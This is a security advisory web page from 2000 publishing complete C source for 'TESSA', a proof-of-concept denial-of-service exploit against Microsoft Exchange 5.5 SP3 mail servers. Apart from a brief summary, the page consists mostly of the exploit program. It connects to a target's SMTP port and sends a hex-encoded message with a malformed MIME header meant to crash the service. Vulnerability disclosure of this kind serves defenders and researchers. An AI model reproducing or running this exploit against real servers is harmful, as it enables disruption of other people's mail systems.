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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Exploit code for Exchange content="" vulnerability 5 Dec. 2000    Summary A security vulnerability was discovered a while back that allowed remote attackers to cause a denial of service attack against Exchange based mail servers. The vulnerability and its possible solution were discussed in our previous article: Exchange Server Malformed MIME Header vulnerability (Patch available). An exploit code is now available as a proof-of-concept for this security problem.   Credit: The information has been provided by incubus. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit:     /*      *      * TESSA: The Exchange Simple Service Assimilator      * ----------------------------------------------      *      * This will crash a 'Microsoft Exchange 5.5 SP3 Internet Mail Service      * and Information Store' (what's in a name)      *      * For people who got a little brains.. translate the shellcode, it will become      * more clear for you.      *      * by incubus <incubus@securax.org> http://securax.org/incubus      *      * All my love: Tessa.      * Respect: #securax@efnet, mr_magnet, axess, f0bic, lamagra and steven.      *      */       #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define SMTP_PORT 25 int main(int argc, char **argv){      int i, sock, result;     unsigned int port;     struct sockaddr_in name;     struct hostent *hostinfo;        char buf[384] = "\x48\x45\x4c\x4f\x0d\x0a\x4d\x41\x49\x4c\x20\x46\x53\x4f\x4d\x3a"                     "\x20\x72\x6f\x6f\x74\x40\x6d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e"                     "\x63\x6f\x6d\x0d\x0a\x52\x43\x50\x54\x20\x54\x4f\x3a\x20\x61\x64"                     "\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x0d\x0a\x44\x41\x54"                     "\x41\x0d\x0a\x0d\x0a\x4d\x49\x4d\x45\x2d\x56\x65\x72\x73\x69\x6f"                     "\x6e\x3a\x20\x31\x2e\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"                     "\x54\x79\x70\x65\x3a\x20\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f"                     "\x61\x6c\x74\x65\x72\x6e\x61\x74\x69\x76\x65\x3b\x0d\x0a\x0d\x0a"                     "\x20\x20\x20\x20\x20\x20\x62\x6f\x75\x6e\x64\x61\x72\x79\x3d\x22"                     "\x3d\x5f\x20\x42\x6f\x75\x6e\x64\x61\x72\x79\x20\x31\x2d\x4b\x54"                     "\x77\x45\x76\x34\x6a\x59\x38\x34\x48\x6b\x22\x0d\x0a\x0d\x0a\x20"                     "\x2d\x2d\x3d\x5f\x20\x42\x6f\x75\x6e\x64\x61\x72\x79\x20\x31\x2d"                     "\x4b\x54\x77\x45\x76\x34\x6a\x59\x38\x34\x48\x6b\x0d\x0a\x0d\x0a"                     "\x20\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74"                     "\x65\x78\x74\x2f\x70\x6c\x61\x69\x6e\x3b\x0d\x0a\x0d\x0a\x20\x20"                     "\x20\x20\x20\x20\x20\x20\x20\x63\x68\x61\x72\x73\x65\x74\x20\x3d"                     "\x20\x22\x22\x0d\x0a\x0d\x0a\x20\x43\x6f\x6e\x74\x65\x6e\x74\x2d"                     "\x54\x72\x61\x6e\x73\x66\x65\x72\x2d\x45\x6e\x63\x6f\x64\x69\x6e"                     "\x67\x3a\x20\x37\x62\x69\x74\x0d\x0a\x0d\x0a\x20\x54\x68\x69\x73"                     "\x20\x6d\x65\x73\x73\x61\x67\x65\x20\x69\x73\x20\x74\x65\x73\x74"                     "\x0d\x0a\x0d\x0a\x20\x2d\x2d\x3d\x5f\x20\x42\x6f\x75\x6e\x64\x61"                     "\x72\x79\x20\x31\x2d\x4b\x54\x77\x45\x76\x34\x6a\x59\x38\x34\x48"                     "\x6b\x2d\x2d\x0d\x0a\x20\x0d\x0a\x20\x2e\x0d\x0a\x20\x0d\x0a\x20"                     "\x0d\x0a\x51\x55\x49\x54"; /* phew.. */                               if (argc < 2){     fprintf (stdout, "Microsoft Exchange 5.5 SP3 Denial of Service\n--------------------------------------------\n");     fprintf (stdout, "You better do %s <ipaddress or hostname> <port>\n", argv[0]);     fprintf (stdout, "by incubus <incubus@securax.org>\n\n");     exit(0);   }     if (argc < 3) port = SMTP_PORT;     else port = atoi(argv[2]);   hostinfo=gethostbyname(argv[1]);   if (!hostinfo){     herror("Damn!"); exit(-1); /* SecuriTeam.com */     }   name.sin_family=AF_INET;   name.sin_port=htons(port);   name.sin_addr=*(struct in_addr *)hostinfo->h_addr;   sock=socket(AF_INET, SOCK_STREAM, 0);   if (sock < 0) { herror("Damn!"); exit(-1); }   result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));   if (result != 0) { herror("Damn!"); exit(-1); }   send(sock, buf, sizeof(buf), 0);   fprintf (stdout, "Done\n");     close(sock);   } }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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